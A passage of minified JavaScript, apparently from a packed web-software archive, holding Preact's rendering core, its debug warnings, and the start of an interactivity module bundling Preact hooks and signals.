n||(null==n||!1===n&&"-"!=t[4]?e.removeAttribute(t):e.setAttribute(t,"popover"==t&&1==n?"":n))}}function U(e){return function(t){if(this.l){var n=this.l[t.type+e];if(null==t.u)t.u=_++;else if(t.u<n.t)return;return n(o.event?o.event(t):t)}}}function A(e,t,n,r,i,s,a,u,c,l){var f,_,p,h,d,v,y,m,k,S,T,O,P,F,N,j,M,$=t.type;if(void 0!==t.constructor)return null;128&n.__u&&(c=!!(32&n.__u),s=[u=t.__e=n.__e]),(f=o.__b)&&f(t);e:if("function"==typeof $)try{if(m=t.props,k="prototype"in $&&$.prototype.render,S=(f=$.contextType)&&r[f.__c],T=f?S?S.props.value:f.__:r,n.__c?y=(_=t.__c=n.__c).__=_.__E:(k?t.__c=_=new $(m,T):(t.__c=_=new E(m,T),_.constructor=$,_.render=z),S&&S.sub(_),_.props=m,_.state||(_.state={}),_.context=T,_.__n=r,p=_.__d=!0,_.__h=[],_._sb=[]),k&&null==_.__s&&(_.__s=_.state),k&&null!=$.getDerivedStateFromProps&&(_.__s==_.state&&(_.__s=w({},_.__s)),w(_.__s,$.getDerivedStateFromProps(m,_.__s))),h=_.props,d=_.state,_.__v=t,p)k&&null==$.getDerivedStateFromProps&&null!=_.componentWillMount&&_.componentWillMount(),k&&null!=_.componentDidMount&&_.__h.push(_.componentDidMount);else{if(k&&null==$.getDerivedStateFromProps&&m!==h&&null!=_.componentWillReceiveProps&&_.componentWillReceiveProps(m,T),!_.__e&&(null!=_.shouldComponentUpdate&&!1===_.shouldComponentUpdate(m,_.__s,T)||t.__v==n.__v)){for(t.__v!=n.__v&&(_.props=m,_.state=_.__s,_.__d=!1),t.__e=n.__e,t.__k=n.__k,t.__k.some((function(e){e&&(e.__=t)})),O=0;O<_._sb.length;O++)_.__h.push(_._sb[O]);_._sb=[],_.__h.length&&a.push(_);break e}null!=_.componentWillUpdate&&_.componentWillUpdate(m,_.__s,T),k&&null!=_.componentDidUpdate&&_.__h.push((function(){_.componentDidUpdate(h,d,v)}))}if(_.context=T,_.props=m,_.__P=e,_.__e=!1,P=o.__r,F=0,k){for(_.state=_.__s,_.__d=!1,P&&P(t),f=_.render(_.props,_.state,_.context),N=0;N<_._sb.length;N++)_.__h.push(_._sb[N]);_._sb=[]}else do{_.__d=!1,P&&P(t),f=_.render(_.props,_.state,_.context),_.state=_.__s}while(_.__d&&++F<25);_.state=_.__s,null!=_.getChildContext&&(r=w(w({},r),_.getChildContext())),k&&!p&&null!=_.getSnapshotBeforeUpdate&&(v=_.getSnapshotBeforeUpdate(h,d)),j=f,null!=f&&f.type===x&&null==f.key&&(j=D(f.props.children)),u=C(e,g(j)?j:[j],t,n,r,i,s,a,u,c,l),_.base=t.__e,t.__u&=-161,_.__h.length&&a.push(_),y&&(_.__E=_.__=null)}catch(e){if(t.__v=null,c||null!=s)if(e.then){for(t.__u|=c?160:128;u&&8==u.nodeType&&u.nextSibling;)u=u.nextSibling;s[s.indexOf(u)]=null,t.__e=u}else for(M=s.length;M--;)b(s[M]);else t.__e=n.__e,t.__k=n.__k;o.__e(e,t,n)}else null==s&&t.__v==n.__v?(t.__k=n.__k,t.__e=n.__e):u=t.__e=L(n.__e,t,n,r,i,s,a,c,l);return(f=o.diffed)&&f(t),128&t.__u?void 0:u}function W(e,t,n){for(var r=0;r<n.length;r++)I(n[r],n[++r],n[++r]);o.__c&&o.__c(t,e),e.some((function(t){try{e=t.__h,t.__h=[],e.some((function(e){e.call(t)}))}catch(e){o.__e(e,t.__v)}}))}function D(e){return"object"!=typeof e||null==e?e:g(e)?e.map(D):w({},e)}function L(e,t,n,i,s,a,u,c,l){var f,_,p,h,d,y,m,w=n.props,k=t.props,S=t.type;if("svg"==S?s="http://www.w3.org/2000/svg":"math"==S?s="http://www.w3.org/1998/Math/MathML":s||(s="http://www.w3.org/1999/xhtml"),null!=a)for(f=0;f<a.length;f++)if((d=a[f])&&"setAttribute"in d==!!S&&(S?d.localName==S:3==d.nodeType)){e=d,a[f]=null;break}if(null==e){if(null==S)return document.createTextNode(k);e=document.createElementNS(s,S,k.is&&k),c&&(o.__m&&o.__m(t,a),c=!1),a=null}if(null===S)w===k||c&&e.data===k||(e.data=k);else{if(a=a&&r.call(e.childNodes),w=n.props||v,!c&&null!=a)for(w={},f=0;f<e.attributes.length;f++)w[(d=e.attributes[f]).name]=d.value;for(f in w)if(d=w[f],"children"==f);else if("dangerouslySetInnerHTML"==f)p=d;else if(!(f in k)){if("value"==f&&"defaultValue"in k||"checked"==f&&"defaultChecked"in k)continue;H(e,f,null,d,s)}for(f in k)d=k[f],"children"==f?h=d:"dangerouslySetInnerHTML"==f?_=d:"value"==f?y=d:"checked"==f?m=d:c&&"function"!=typeof d||w[f]===d||H(e,f,d,w[f],s);if(_)c||p&&(_.__html===p.__html||_.__html===e.innerHTML)||(e.innerHTML=_.__html),t.__k=[];else if(p&&(e.innerHTML=""),C("template"===t.type?e.content:e,g(h)?h:[h],t,n,i,"foreignObject"==S?"http://www.w3.org/1999/xhtml":s,a,u,a?a[0]:n.__k&&T(n,0),c,l),null!=a)for(f=a.length;f--;)b(a[f]);c||(f="value","progress"==S&&null==y?e.removeAttribute("value"):void 0!==y&&(y!==e[f]||"progress"==S&&!y||"option"==S&&y!==w[f])&&H(e,f,y,w[f],s),f="checked",void 0!==m&&m!==e[f]&&H(e,f,m,w[f],s))}return e}function I(e,t,n){try{if("function"==typeof e){var r="function"==typeof e.__u;r&&e.__u(),r&&null==t||(e.__u=e(t))}else e.current=t}catch(e){o.__e(e,n)}}function R(e,t,n){var r,i;if(o.unmount&&o.unmount(e),(r=e.ref)&&(r.current&&r.current!==e.__e||I(r,null,t)),null!=(r=e.__c)){if(r.componentWillUnmount)try{r.componentWillUnmount()}catch(e){o.__e(e,t)}r.base=r.__P=null}if(r=e.__k)for(i=0;i<r.length;i++)r[i]&&R(r[i],t,n||"function"!=typeof e.type);n||b(e.__e),e.__c=e.__=e.__e=void 0}function z(e,t,n){return this.constructor(e,n)}function V(e,t,n){var i,s,a,u;t==document&&(t=document.documentElement),o.__&&o.__(e,t),s=(i="function"==typeof n)?null:n&&n.__k||t.__k,a=[],u=[],A(t,e=(!i&&n||t).__k=k(x,null,[e]),s||v,v,t.namespaceURI,!i&&n?[n]:s?null:t.firstChild?r.call(t.childNodes):null,a,!i&&n?n:s?s.__e:t.firstChild,i,u),W(a,e,u)}function B(e,t){V(e,t,B)}function J(e,t,n){var o,i,s,a,u=w({},e.props);for(s in e.type&&e.type.defaultProps&&(a=e.type.defaultProps),t)"key"==s?o=t[s]:"ref"==s?i=t[s]:u[s]=void 0===t[s]&&void 0!==a?a[s]:t[s];return arguments.length>2&&(u.children=arguments.length>3?r.call(arguments,2):n),S(e.type,u,o||e.key,i||e.ref,null)}function K(e){function t(e){var n,r;return this.getChildContext||(n=new Set,(r={})[t.__c]=this,this.getChildContext=function(){return r},this.componentWillUnmount=function(){n=null},this.shouldComponentUpdate=function(e){this.props.value!==e.value&&n.forEach((function(e){e.__e=!0,P(e)}))},this.sub=function(e){n.add(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){n&&n.delete(e),t&&t.call(e)}}),e.children}return t.__c="__cC"+d++,t.__=e,t.Provider=t.__l=(t.Consumer=function(e,t){return e.children(t)}).contextType=t,t}r=y.slice,o={__e:function(e,t,n,r){for(var o,i,s;t=t.__;)if((o=t.__c)&&!o.__)try{if((i=o.constructor)&&null!=i.getDerivedStateFromError&&(o.setState(i.getDerivedStateFromError(e)),s=o.__d),null!=o.componentDidCatch&&(o.componentDidCatch(e,r||{}),s=o.__d),s)return o.__E=o}catch(t){e=t}throw e}},i=0,s=function(e){return null!=e&&null==e.constructor},E.prototype.setState=function(e,t){var n;n=null!=this.__s&&this.__s!==this.state?this.__s:this.__s=w({},this.state),"function"==typeof e&&(e=e(w({},n),this.props)),e&&w(n,e),null!=e&&this.__v&&(t&&this._sb.push(t),P(this))},E.prototype.forceUpdate=function(e){this.__v&&(this.__e=!0,e&&this.__h.push(e),P(this))},E.prototype.render=x,a=[],c="function"==typeof Promise?Promise.prototype.then.bind(Promise.resolve()):setTimeout,l=function(e,t){return e.__v.__b-t.__v.__b},F.__r=0,f=/(PointerCapture)$|Capture$/i,_=0,p=U(!1),h=U(!0),d=0}},t={};function n(r){var o=t[r];if(void 0!==o)return o.exports;var i=t[r]={exports:{}};return e[r](i,i.exports,n),i.exports}n.d=(e,t)=>{for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);var r={};n.d(r,{zj:()=>k.zj,SD:()=>k.SD,V6:()=>k.V6,$K:()=>k.$K,vT:()=>k.vT,jb:()=>k.jb,yT:()=>k.yT,M_:()=>k.M_,hb:()=>k.hb,vJ:()=>k.vJ,ip:()=>k.ip,Nf:()=>k.Nf,Kr:()=>k.Kr,li:()=>k.li,J0:()=>k.J0,FH:()=>k.FH,v4:()=>k.v4,mh:()=>k.mh});var o,i=n(622);null!=(o="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:void 0)&&o.__PREACT_DEVTOOLS__&&o.__PREACT_DEVTOOLS__.attachPreact("10.26.4",i.fF,{Fragment:i.FK,Component:i.uA});var s={};function a(e){return e.type===i.FK?"Fragment":"function"==typeof e.type?e.type.displayName||e.type.name:"string"==typeof e.type?e.type:"#text"}var u=[],c=[];function l(){return u.length>0?u[u.length-1]:null}var f=!0;function _(e){return"function"==typeof e.type&&e.type!=i.FK}function p(e){for(var t=[e],n=e;null!=n.__o;)t.push(n.__o),n=n.__o;return t.reduce((function(e,t){e+=" in "+a(t);var n=t.__source;return n?e+=" (at "+n.fileName+":"+n.lineNumber+")":f&&console.warn("Add @babel/plugin-transform-react-jsx-source to get a more detailed component stack. Note that you should not add it to production builds of your App for bundle size reasons."),f=!1,e+"\n"}),"")}var h="function"==typeof WeakMap;function d(e){var t=[];return e.__k?(e.__k.forEach((function(e){e&&"function"==typeof e.type?t.push.apply(t,d(e)):e&&"string"==typeof e.type&&t.push(e.type)})),t):t}function v(e){return e?"function"==typeof e.type?null==e.__?null!=e.__e&&null!=e.__e.parentNode?e.__e.parentNode.localName:"":v(e.__):e.type:""}var y=i.uA.prototype.setState;function m(e){return"table"===e||"tfoot"===e||"tbody"===e||"thead"===e||"td"===e||"tr"===e||"th"===e}i.uA.prototype.setState=function(e,t){return null==this.__v&&null==this.state&&console.warn('Calling "this.setState" inside the constructor of a component is a no-op and might be a bug in your application. Instead, set "this.state = {}" directly.\n\n'+p(l())),y.call(this,e,t)};var g=/^(address|article|aside|blockquote|details|div|dl|fieldset|figcaption|figure|footer|form|h1|h2|h3|h4|h5|h6|header|hgroup|hr|main|menu|nav|ol|p|pre|search|section|table|ul)$/,w=i.uA.prototype.forceUpdate;function b(e){var t=e.props,n=a(e),r="";for(var o in t)if(t.hasOwnProperty(o)&&"children"!==o){var i=t[o];"function"==typeof i&&(i="function "+(i.displayName||i.name)+"() {}"),i=Object(i)!==i||i.toString?i+"":Object.prototype.toString.call(i),r+=" "+o+"="+JSON.stringify(i)}var s=t.children;return"<"+n+r+(s&&s.length?">..</"+n+">":" />")}i.uA.prototype.forceUpdate=function(e){return null==this.__v?console.warn('Calling "this.forceUpdate" inside the constructor of a component is a no-op and might be a bug in your application.\n\n'+p(l())):null==this.__P&&console.warn('Can\'t call "this.forceUpdate" on an unmounted component. This is a no-op, but it indicates a memory leak in your application. To fix, cancel all subscriptions and asynchronous tasks in the componentWillUnmount method.\n\n'+p(this.__v)),w.call(this,e)},i.fF.__m=function(e,t){var n=e.type,r=t.map((function(e){return e&&e.localName})).filter(Boolean);console.error('Expected a DOM node of type "'+n+'" but found "'+r.join(", ")+"\" as available DOM-node(s), this is caused by the SSR'd HTML containing different DOM-nodes compared to the hydrated one.\n\n"+p(e))},function(){!function(){var e=i.fF.__b,t=i.fF.diffed,n=i.fF.__,r=i.fF.vnode,o=i.fF.__r;i.fF.diffed=function(e){_(e)&&c.pop(),u.pop(),t&&t(e)},i.fF.__b=function(t){_(t)&&u.push(t),e&&e(t)},i.fF.__=function(e,t){c=[],n&&n(e,t)},i.fF.vnode=function(e){e.__o=c.length>0?c[c.length-1]:null,r&&r(e)},i.fF.__r=function(e){_(e)&&c.push(e),o&&o(e)}}();var e=!1,t=i.fF.__b,n=i.fF.diffed,r=i.fF.vnode,o=i.fF.__r,l=i.fF.__e,f=i.fF.__,y=i.fF.__h,w=h?{useEffect:new WeakMap,useLayoutEffect:new WeakMap,lazyPropTypes:new WeakMap}:null,k=[];i.fF.__e=function(e,t,n,r){if(t&&t.__c&&"function"==typeof e.then){var o=e;e=new Error("Missing Suspense. The throwing component was: "+a(t));for(var i=t;i;i=i.__)if(i.__c&&i.__c.__c){e=o;break}if(e instanceof Error)throw e}try{(r=r||{}).componentStack=p(t),l(e,t,n,r),"function"!=typeof e.then&&setTimeout((function(){throw e}))}catch(e){throw e}},i.fF.__=function(e,t){if(!t)throw new Error("Undefined parent passed to render(), this is the second argument.\nCheck if the element is available in the DOM/has the correct id.");var n;switch(t.nodeType){case 1:case 11:case 9:n=!0;break;default:n=!1}if(!n){var r=a(e);throw new Error("Expected a valid HTML node as a second argument to render.\tReceived "+t+" instead: render(<"+r+" />, "+t+");")}f&&f(e,t)},i.fF.__b=function(n){var r=n.type;if(e=!0,void 0===r)throw new Error("Undefined component passed to createElement()\n\nYou likely forgot to export your component or might have mixed up default and named imports"+b(n)+"\n\n"+p(n));if(null!=r&&"object"==typeof r){if(void 0!==r.__k&&void 0!==r.__e)throw new Error("Invalid type passed to createElement(): "+r+"\n\nDid you accidentally pass a JSX literal as JSX twice?\n\n let My"+a(n)+" = "+b(r)+";\n let vnode = <My"+a(n)+" />;\n\nThis usually happens when you export a JSX literal and not the component.\n\n"+p(n));throw new Error("Invalid type passed to createElement(): "+(Array.isArray(r)?"array":r))}if(void 0!==n.ref&&"function"!=typeof n.ref&&"object"!=typeof n.ref&&!("$$typeof"in n))throw new Error('Component\'s "ref" property should be a function, or an object created by createRef(), but got ['+typeof n.ref+"] instead\n"+b(n)+"\n\n"+p(n));if("string"==typeof n.type)for(var o in n.props)if("o"===o[0]&&"n"===o[1]&&"function"!=typeof n.props[o]&&null!=n.props[o])throw new Error("Component's \""+o+'" property should be a function, but got ['+typeof n.props[o]+"] instead\n"+b(n)+"\n\n"+p(n));if("function"==typeof n.type&&n.type.propTypes){if("Lazy"===n.type.displayName&&w&&!w.lazyPropTypes.has(n.type)){var i="PropTypes are not supported on lazy(). Use propTypes on the wrapped component itself. ";try{var u=n.type();w.lazyPropTypes.set(n.type,!0),console.warn(i+"Component wrapped in lazy() is "+a(u))}catch(e){console.warn(i+"We will log the wrapped component's name once it is loaded.")}}var c=n.props;n.type.__f&&delete(c=function(e,t){for(var n in t)e[n]=t[n];return e}({},c)).ref,function(e,t,n,r,o){Object.keys(e).forEach((function(n){var i;try{i=e[n](t,n,r,"prop",null,"SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED")}catch(e){i=e}i&&!(i.message in s)&&(s[i.message]=!0,console.error("Failed prop type: "+i.message+(o&&"\n"+o()||"")))}))}(n.type.propTypes,c,0,a(n),(function(){return p(n)}))}t&&t(n)};var S,x=0;i.fF.__r=function(t){o&&o(t),e=!0;var n=t.__c;if(n===S?x++:x=1,x>=25)throw new Error("Too many re-renders. This is limited to prevent an infinite loop which may lock up your browser. The component causing this is: "+a(t));S=n},i.fF.__h=function(t,n,r){if(!t||!e)throw new Error("Hook can only be invoked from render methods.");y&&y(t,n,r)};var E=function(e,t){return{get:function(){var n="get"+e+t;k&&k.indexOf(n)<0&&(k.push(n),console.warn("getting vnode."+e+" is deprecated, "+t))},set:function(){var n="set"+e+t;k&&k.indexOf(n)<0&&(k.push(n),console.warn("setting vnode."+e+" is not allowed, "+t))}}},T={nodeName:E("nodeName","use vnode.type"),attributes:E("attributes","use vnode.props"),children:E("children","use vnode.props.children")},O=Object.create({},T);i.fF.vnode=function(e){var t=e.props;if(null!==e.type&&null!=t&&("__source"in t||"__self"in t)){var n=e.props={};for(var o in t){var i=t[o];"__source"===o?e.__source=i:"__self"===o?e.__self=i:n[o]=i}}e.__proto__=O,r&&r(e)},i.fF.diffed=function(t){var r,o=t.type,i=t.__;if(t.__k&&t.__k.forEach((function(e){if("object"==typeof e&&e&&void 0===e.type){var n=Object.keys(e).join(",");throw new Error("Objects are not valid as a child. Encountered an object with the keys {"+n+"}.\n\n"+p(t))}})),t.__c===S&&(x=0),"string"==typeof o&&(m(o)||"p"===o||"a"===o||"button"===o)){var s=v(i);if(""!==s&&m(o))"table"===o&&"td"!==s&&m(s)?console.error("Improper nesting of table. Your <table> should not have a table-node parent."+b(t)+"\n\n"+p(t)):"thead"!==o&&"tfoot"!==o&&"tbody"!==o||"table"===s?"tr"===o&&"thead"!==s&&"tfoot"!==s&&"tbody"!==s?console.error("Improper nesting of table. Your <tr> should have a <thead/tbody/tfoot> parent."+b(t)+"\n\n"+p(t)):"td"===o&&"tr"!==s?console.error("Improper nesting of table. Your <td> should have a <tr> parent."+b(t)+"\n\n"+p(t)):"th"===o&&"tr"!==s&&console.error("Improper nesting of table. Your <th> should have a <tr>."+b(t)+"\n\n"+p(t)):console.error("Improper nesting of table. Your <thead/tbody/tfoot> should have a <table> parent."+b(t)+"\n\n"+p(t));else if("p"===o){var u=d(t).filter((function(e){return g.test(e)}));u.length&&console.error("Improper nesting of paragraph. Your <p> should not have "+u.join(", ")+" as child-elements."+b(t)+"\n\n"+p(t))}else"a"!==o&&"button"!==o||-1!==d(t).indexOf(o)&&console.error("Improper nesting of interactive content. Your <"+o+"> should not have other "+("a"===o?"anchor":"button")+" tags as child-elements."+b(t)+"\n\n"+p(t))}if(e=!1,n&&n(t),null!=t.__k)for(var c=[],l=0;l<t.__k.length;l++){var f=t.__k[l];if(f&&null!=f.key){var _=f.key;if(-1!==c.indexOf(_)){console.error('Following component has two or more children with the same key attribute: "'+_+'". This may cause glitches and misbehavior in rendering process. Component: \n\n'+b(t)+"\n\n"+p(t));break}c.push(_)}}if(null!=t.__c&&null!=t.__c.__H){var h=t.__c.__H.__;if(h)for(var y=0;y<h.length;y+=1){var w=h[y];if(w.__H)for(var k=0;k<w.__H.length;k++)if((r=w.__H[k])!=r){var E=a(t);console.warn("Invalid argument passed to hook. Hooks should not be called with NaN in the dependency array. Hook index "+y+" in component "+E+" was called with NaN.")}}}}}();var k=n(380),S=r.zj,x=r.SD,E=r.V6,T=r.$K,O=r.vT,P=r.jb,F=r.yT,C=r.M_,N=r.hb,j=r.vJ,M=r.ip,$=r.Nf,H=r.Kr,U=r.li,A=r.J0,W=r.FH,D=r.v4,L=r.mh;export{S as getConfig,x as getContext,E as getElement,T as getServerContext,O as getServerState,P as privateApis,F as splitTask,C as store,N as useCallback,j as useEffect,M as useInit,$ as useLayoutEffect,H as useMemo,U as useRef,A as useState,W as useWatch,D as withScope,L as withSyncEvent}; script-modules/interactivity/debug.js 0000664 00000352126 15061233506 0014054 0 ustar 00 /******/ var __webpack_modules__ = ({ /***/ 380: /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { // EXPORTS __webpack_require__.d(__webpack_exports__, { zj: () => (/* reexport */ getConfig), SD: () => (/* reexport */ getContext), V6: () => (/* reexport */ getElement), $K: () => (/* reexport */ getServerContext), vT: () => (/* reexport */ getServerState), jb: () => (/* binding */ privateApis), yT: () => (/* reexport */ splitTask), M_: () => (/* reexport */ store), hb: () => (/* reexport */ useCallback), vJ: () => (/* reexport */ useEffect), ip: () => (/* reexport */ useInit), Nf: () => (/* reexport */ useLayoutEffect), Kr: () => (/* reexport */ useMemo), li: () => (/* reexport */ A), J0: () => (/* reexport */ d), FH: () => (/* reexport */ useWatch), v4: () => (/* reexport */ withScope), mh: () => (/* reexport */ withSyncEvent) }); // EXTERNAL MODULE: ./node_modules/preact/dist/preact.module.js var preact_module = __webpack_require__(622); ;// ./node_modules/preact/hooks/dist/hooks.module.js var hooks_module_t,r,hooks_module_u,i,hooks_module_o=0,hooks_module_f=[],hooks_module_c=preact_module/* options */.fF,e=hooks_module_c.__b,a=hooks_module_c.__r,v=hooks_module_c.diffed,l=hooks_module_c.__c,m=hooks_module_c.unmount,s=hooks_module_c.__;function p(n,t){hooks_module_c.__h&&hooks_module_c.__h(r,n,hooks_module_o||t),hooks_module_o=0;var u=r.__H||(r.__H={__:[],__h:[]});return n>=u.__.length&&u.__.push({}),u.__[n]}function d(n){return hooks_module_o=1,h(D,n)}function h(n,u,i){var o=p(hooks_module_t++,2);if(o.t=n,!o.__c&&(o.__=[i?i(u):D(void 0,u),function(n){var t=o.__N?o.__N[0]:o.__[0],r=o.t(t,n);t!==r&&(o.__N=[r,o.__[1]],o.__c.setState({}))}],o.__c=r,!r.__f)){var f=function(n,t,r){if(!o.__c.__H)return!0;var u=o.__c.__H.__.filter(function(n){return!!n.__c});if(u.every(function(n){return!n.__N}))return!c||c.call(this,n,t,r);var i=o.__c.props!==n;return u.forEach(function(n){if(n.__N){var t=n.__[0];n.__=n.__N,n.__N=void 0,t!==n.__[0]&&(i=!0)}}),c&&c.call(this,n,t,r)||i};r.__f=!0;var c=r.shouldComponentUpdate,e=r.componentWillUpdate;r.componentWillUpdate=function(n,t,r){if(this.__e){var u=c;c=void 0,f(n,t,r),c=u}e&&e.call(this,n,t,r)},r.shouldComponentUpdate=f}return o.__N||o.__}function y(n,u){var i=p(hooks_module_t++,3);!hooks_module_c.__s&&C(i.__H,u)&&(i.__=n,i.u=u,r.__H.__h.push(i))}function _(n,u){var i=p(hooks_module_t++,4);!hooks_module_c.__s&&C(i.__H,u)&&(i.__=n,i.u=u,r.__h.push(i))}function A(n){return hooks_module_o=5,T(function(){return{current:n}},[])}function F(n,t,r){hooks_module_o=6,_(function(){if("function"==typeof n){var r=n(t());return function(){n(null),r&&"function"==typeof r&&r()}}if(n)return n.current=t(),function(){return n.current=null}},null==r?r:r.concat(n))}function T(n,r){var u=p(hooks_module_t++,7);return C(u.__H,r)&&(u.__=n(),u.__H=r,u.__h=n),u.__}function q(n,t){return hooks_module_o=8,T(function(){return n},t)}function x(n){var u=r.context[n.__c],i=p(hooks_module_t++,9);return i.c=n,u?(null==i.__&&(i.__=!0,u.sub(r)),u.props.value):n.__}function P(n,t){hooks_module_c.useDebugValue&&hooks_module_c.useDebugValue(t?t(n):n)}function b(n){var u=p(hooks_module_t++,10),i=d();return u.__=n,r.componentDidCatch||(r.componentDidCatch=function(n,t){u.__&&u.__(n,t),i[1](n)}),[i[0],function(){i[1](void 0)}]}function g(){var n=p(hooks_module_t++,11);if(!n.__){for(var u=r.__v;null!==u&&!u.__m&&null!==u.__;)u=u.__;var i=u.__m||(u.__m=[0,0]);n.__="P"+i[0]+"-"+i[1]++}return n.__}function j(){for(var n;n=hooks_module_f.shift();)if(n.__P&&n.__H)try{n.__H.__h.forEach(z),n.__H.__h.forEach(B),n.__H.__h=[]}catch(t){n.__H.__h=[],hooks_module_c.__e(t,n.__v)}}hooks_module_c.__b=function(n){r=null,e&&e(n)},hooks_module_c.__=function(n,t){n&&t.__k&&t.__k.__m&&(n.__m=t.__k.__m),s&&s(n,t)},hooks_module_c.__r=function(n){a&&a(n),hooks_module_t=0;var i=(r=n.__c).__H;i&&(hooks_module_u===r?(i.__h=[],r.__h=[],i.__.forEach(function(n){n.__N&&(n.__=n.__N),n.u=n.__N=void 0})):(i.__h.forEach(z),i.__h.forEach(B),i.__h=[],hooks_module_t=0)),hooks_module_u=r},hooks_module_c.diffed=function(n){v&&v(n);var t=n.__c;t&&t.__H&&(t.__H.__h.length&&(1!==hooks_module_f.push(t)&&i===hooks_module_c.requestAnimationFrame||((i=hooks_module_c.requestAnimationFrame)||w)(j)),t.__H.__.forEach(function(n){n.u&&(n.__H=n.u),n.u=void 0})),hooks_module_u=r=null},hooks_module_c.__c=function(n,t){t.some(function(n){try{n.__h.forEach(z),n.__h=n.__h.filter(function(n){return!n.__||B(n)})}catch(r){t.some(function(n){n.__h&&(n.__h=[])}),t=[],hooks_module_c.__e(r,n.__v)}}),l&&l(n,t)},hooks_module_c.unmount=function(n){m&&m(n);var t,r=n.__c;r&&r.__H&&(r.__H.__.forEach(function(n){try{z(n)}catch(n){t=n}}),r.__H=void 0,t&&hooks_module_c.__e(t,r.__v))};var k="function"==typeof requestAnimationFrame;function w(n){var t,r=function(){clearTimeout(u),k&&cancelAnimationFrame(t),setTimeout(n)},u=setTimeout(r,100);k&&(t=requestAnimationFrame(r))}function z(n){var t=r,u=n.__c;"function"==typeof u&&(n.__c=void 0,u()),r=t}function B(n){var t=r;n.__c=n.__(),r=t}function C(n,t){return!n||n.length!==t.length||t.some(function(t,r){return t!==n[r]})}function D(n,t){return"function"==typeof t?t(n):t} ;// ./node_modules/@preact/signals-core/dist/signals-core.module.js var signals_core_module_i=Symbol.for("preact-signals");function signals_core_module_t(){if(!(signals_core_module_s>1)){var i,t=!1;while(void 0!==signals_core_module_h){var r=signals_core_module_h;signals_core_module_h=void 0;signals_core_module_f++;while(void 0!==r){var o=r.o;r.o=void 0;r.f&=-3;if(!(8&r.f)&&signals_core_module_c(r))try{r.c()}catch(r){if(!t){i=r;t=!0}}r=o}}signals_core_module_f=0;signals_core_module_s--;if(t)throw i}else signals_core_module_s--}function signals_core_module_r(i){if(signals_core_module_s>0)return i();signals_core_module_s++;try{return i()}finally{signals_core_module_t()}}var signals_core_module_o=void 0;function n(i){var t=signals_core_module_o;signals_core_module_o=void 0;try{return i()}finally{signals_core_module_o=t}}var signals_core_module_h=void 0,signals_core_module_s=0,signals_core_module_f=0,signals_core_module_v=0;function signals_core_module_e(i){if(void 0!==signals_core_module_o){var t=i.n;if(void 0===t||t.t!==signals_core_module_o){t={i:0,S:i,p:signals_core_module_o.s,n:void 0,t:signals_core_module_o,e:void 0,x:void 0,r:t};if(void 0!==signals_core_module_o.s)signals_core_module_o.s.n=t;signals_core_module_o.s=t;i.n=t;if(32&signals_core_module_o.f)i.S(t);return t}else if(-1===t.i){t.i=0;if(void 0!==t.n){t.n.p=t.p;if(void 0!==t.p)t.p.n=t.n;t.p=signals_core_module_o.s;t.n=void 0;signals_core_module_o.s.n=t;signals_core_module_o.s=t}return t}}}function signals_core_module_u(i){this.v=i;this.i=0;this.n=void 0;this.t=void 0}signals_core_module_u.prototype.brand=signals_core_module_i;signals_core_module_u.prototype.h=function(){return!0};signals_core_module_u.prototype.S=function(i){if(this.t!==i&&void 0===i.e){i.x=this.t;if(void 0!==this.t)this.t.e=i;this.t=i}};signals_core_module_u.prototype.U=function(i){if(void 0!==this.t){var t=i.e,r=i.x;if(void 0!==t){t.x=r;i.e=void 0}if(void 0!==r){r.e=t;i.x=void 0}if(i===this.t)this.t=r}};signals_core_module_u.prototype.subscribe=function(i){var t=this;return E(function(){var r=t.value,n=signals_core_module_o;signals_core_module_o=void 0;try{i(r)}finally{signals_core_module_o=n}})};signals_core_module_u.prototype.valueOf=function(){return this.value};signals_core_module_u.prototype.toString=function(){return this.value+""};signals_core_module_u.prototype.toJSON=function(){return this.value};signals_core_module_u.prototype.peek=function(){var i=signals_core_module_o;signals_core_module_o=void 0;try{return this.value}finally{signals_core_module_o=i}};Object.defineProperty(signals_core_module_u.prototype,"value",{get:function(){var i=signals_core_module_e(this);if(void 0!==i)i.i=this.i;return this.v},set:function(i){if(i!==this.v){if(signals_core_module_f>100)throw new Error("Cycle detected");this.v=i;this.i++;signals_core_module_v++;signals_core_module_s++;try{for(var r=this.t;void 0!==r;r=r.x)r.t.N()}finally{signals_core_module_t()}}}});function signals_core_module_d(i){return new signals_core_module_u(i)}function signals_core_module_c(i){for(var t=i.s;void 0!==t;t=t.n)if(t.S.i!==t.i||!t.S.h()||t.S.i!==t.i)return!0;return!1}function signals_core_module_a(i){for(var t=i.s;void 0!==t;t=t.n){var r=t.S.n;if(void 0!==r)t.r=r;t.S.n=t;t.i=-1;if(void 0===t.n){i.s=t;break}}}function signals_core_module_l(i){var t=i.s,r=void 0;while(void 0!==t){var o=t.p;if(-1===t.i){t.S.U(t);if(void 0!==o)o.n=t.n;if(void 0!==t.n)t.n.p=o}else r=t;t.S.n=t.r;if(void 0!==t.r)t.r=void 0;t=o}i.s=r}function signals_core_module_y(i){signals_core_module_u.call(this,void 0);this.x=i;this.s=void 0;this.g=signals_core_module_v-1;this.f=4}(signals_core_module_y.prototype=new signals_core_module_u).h=function(){this.f&=-3;if(1&this.f)return!1;if(32==(36&this.f))return!0;this.f&=-5;if(this.g===signals_core_module_v)return!0;this.g=signals_core_module_v;this.f|=1;if(this.i>0&&!signals_core_module_c(this)){this.f&=-2;return!0}var i=signals_core_module_o;try{signals_core_module_a(this);signals_core_module_o=this;var t=this.x();if(16&this.f||this.v!==t||0===this.i){this.v=t;this.f&=-17;this.i++}}catch(i){this.v=i;this.f|=16;this.i++}signals_core_module_o=i;signals_core_module_l(this);this.f&=-2;return!0};signals_core_module_y.prototype.S=function(i){if(void 0===this.t){this.f|=36;for(var t=this.s;void 0!==t;t=t.n)t.S.S(t)}signals_core_module_u.prototype.S.call(this,i)};signals_core_module_y.prototype.U=function(i){if(void 0!==this.t){signals_core_module_u.prototype.U.call(this,i);if(void 0===this.t){this.f&=-33;for(var t=this.s;void 0!==t;t=t.n)t.S.U(t)}}};signals_core_module_y.prototype.N=function(){if(!(2&this.f)){this.f|=6;for(var i=this.t;void 0!==i;i=i.x)i.t.N()}};Object.defineProperty(signals_core_module_y.prototype,"value",{get:function(){if(1&this.f)throw new Error("Cycle detected");var i=signals_core_module_e(this);this.h();if(void 